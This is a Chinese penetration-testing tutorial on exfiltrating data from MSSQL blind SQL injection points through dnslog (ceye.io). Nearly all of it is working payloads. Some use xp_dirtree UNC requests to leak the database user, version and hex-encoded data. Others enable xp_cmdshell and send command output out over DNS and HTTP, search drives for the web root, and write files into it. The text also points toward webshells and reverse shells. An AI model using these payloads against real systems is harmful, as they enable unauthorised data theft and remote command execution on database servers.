渗透技巧-使用dnslog加快盲注速度(MSSQL篇)
关于dnslog盲注,之前写过的两篇文章:
渗透技巧-使用dnslog加快盲注速度(MYSQL篇)
记一次dnslog接收异常分析
这一次详细的总结一下dnslog在mssql盲注当中的使用
前提条件
1.服务器操作系统为windows
2.mssql数据库支持master..xp_dirtree存储过程
3.mssql注入点支持执行多语句
4.mssql相对与mysql的优势在于可以执行系统命令,前提是需要支持master..xp_cmdshell存储过程。
可以看到,相比于mysql数据库,mssql的利用方法相对来说更多一些,下面介绍两种外带数据查询的方法
DNS外带查询
注入点如下
注入类型为布尔盲注或者时间盲注,传参本来为get,但是长度有限制,改为post传参即可以突破限制,可以看到有10s的延时
尝试使用dnslog获取当前用户:
declare @a char(128);set @a='\\'%2buser%2b'.xxx.ceye.io/abc';exec master..xp_dirtree @a;--
注意这里由于POST DATA参数解析的问题,+会被当成空格,所以需要进行url编码,将+变为%2b
简单说一下这条sql语句的意思,首先将user的执行结果拼接进unc路径,接着通过xp_dirtree存储过程向unc路径发起请求,产生dns查询,在dnslog平台留下记录,可以看到dnslog接收到的user为dbo
查看@@version数据库版本,由于长度超过了128个字符,需要分几次截取
首先确定长度
declare @a char(128);set @a='\\'%2b(select cast(len(@@version) as char(32)))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
因为len的结果为数字型,mssql并不存在类型转换的特性,所以数字不能与字符串直接拼接,这里需要通过cast转化为字符型,可以看到接收到长度为189字节
由于unc长度有限制,直接获取的话内容会被截断,所以要分两次截取:
第一次 1-95
第二次 95-189
declare @a char(128);set @a='\\'%2b(select substring(@@version,1,95))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(@@version,96,94))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
通过两次的截取成功获取到了完整的数据库版本信息
microsoft sql server 2000 - 8.00.2039 (intel x86) may 3 2005 23:18:38 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.2 (build 3790: service pack 2)
当然还需要考虑一种特殊情况,假设说查询结果当中出现了一些unc路径不允许的特殊字符,那么在截取之前还需要进行一次16进制编写码
mssql当中字符串转16进制函数:
master.dbo.fn_varbintohexstr(xxx as VARBINARY(num))
首先查看版本信息16进制编码结果的长度
declare @a char(128);set @a='\\'%2b(select cast(len(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000)))) as char(32)))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
长度为758,分几次截取就可以得到完整的结果
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),1,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),61,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),121,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),181,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),241,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
...
...
...
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),661,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),721,37))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
可以看到dnslog接收到了每一次的结果,将结果拼接后得到:
4d006900630072006f0073006f00660074002000530051004c00200053006500720076006500720020002000320030003000300020002d00200038002e00300030002e0032003000330039002000280049006e00740065006c002000580038003600290020000a0009004d0061007900200020003300200032003000300035002000320033003a00310038003a003300380020000a00090043006f0070007900720069006700680074002000280063002900200031003900380038002d00320030003000330020004d006900630072006f006e000a00090045006e00740065007200700072006900730065002000450064006900740069006f006e0020006f006e002000570069006e0064006f007700730020004e005400200035002e003200200028004200750069006c006400200033003700390030003a002000530065007200760069006300650020005000610063006b002000320029000a0
再进行16进制解码
通过上面的思路,我们就可以获取任何数据了,同样也可以执行命令,首先看一下数据库是否支持master..xp_cmdshell这个存储过程,如果没有需要开启
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
测试注入点是否可以执行命令,最简单的办法就是ping一下ceye.io的二级域名,如果有dns记录,那就是支持了
exec master..xp_cmdshell "ping aaa.xxx.ceye.io";--
通过以下几个步骤可以将执行命令的结果回显至dnslog
第一步:创建临时表用于接收命令的执行结果,需要定义主键:
CREATE TABLE tt_tmp (id INT PRIMARY KEY IDENTITY,tmp1 nvarchar(4000));--
第二步:将命令执行结果插入临时表:
DECLARE @code varchar(4000);SET @code=0x77686f616d69;insert into tt_tmp(tmp1) exec master..xp_cmdshell @code;--
第三步:由于插入了多行,首先需要获取行数(经过测试部分版本的sqlserver在UNC查询结果的位置不能有空格,需要去除空格,使用rtrim):
declare @a char(128);set @a='\\'%2b(select rtrim(cast(COUNT(*) as char(32))) from tt_tmp)%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a;--
第四步:将查询结果发送至dnslog(逐行读取,截取字符串)
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=1) as char(255)) as VARBINARY(4000))),1,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a;--
1-60
61-120
121-180
181-240
241-300
301-360
361-420
421-480
481-512
成功后记得删除临时表
drop table tt_tmp;--
主要过程就是创建一个临时表,然后读取临时表,将读取的结果发送至dnslog,结果如下
HTTP外带查询
通过第一种方法,可以看到dns外带查询对长度以及一些特殊字符都有着严格的限制,比较麻烦,为了解决这个问题,可以通过HTTP外带查询的方式去代替
可以通过cmd命令,将执行命令的结果拼接进url,启动浏览器进程去发起http请求
执行whoami
exec master..xp_cmdshell "for /F %i in ('whoami') do start http://xxx.ceye.io/%i"--
执行dir
exec master..xp_cmdshell "for /F %i in ('dir') do start http://xxx.ceye.io/%i"--
但是通过这种方法获取到的结果,会被空格截断,可以看到上面接收的结果都是不完整的,遇到空格就会被截断,不显示后面的内容
另外这种方法还有一些缺点,就是会在服务器启动大量的浏览器进程,有可能会导致服务器卡死或者被防火墙拦截,需要时不时的关闭浏览器进程
exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
其它思路
可以通过此方法获取网站的根目录,之后将命令的执行结果写入到根目录的一个文件中
遍历C盘下的aspx后缀文件
exec master..xp_cmdshell "for /r C:\ %i in (*.aspx) do start http://xxx.ceye.io/%i"--
遍历D盘下的aspx文件
exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
exec master..xp_cmdshell "for /r D:\ %i in (*.aspx) do start http://xxx.ceye.io/%i"--
最终确定了D:/zhenghedabu/这个路径就是网站的物理路径了。
获取到网站的物理路径后,会有更多的利用手法
比如可以将命令的执行结果输出到网站目录下的一个txt文本文件当中当中
exec master..xp_cmdshell "ipconfig > D:\zhenghedabu\tmp2019.txt"--
之后可以看到命令执行的结果
同样的,知道了网站物理路径,也可以直接写入webshell
总结:
使用dnslog可以有效的增加渗透的效率,避免了在盲注上花费过多的时间,但是思路也不能单单禁锢于这一种方式,比如mssql的注入点,可以执行命令,那么也可以直接通过反弹shell到公网的服务器上的。所以方法思路还是很多的,要合理使用才能事半功倍。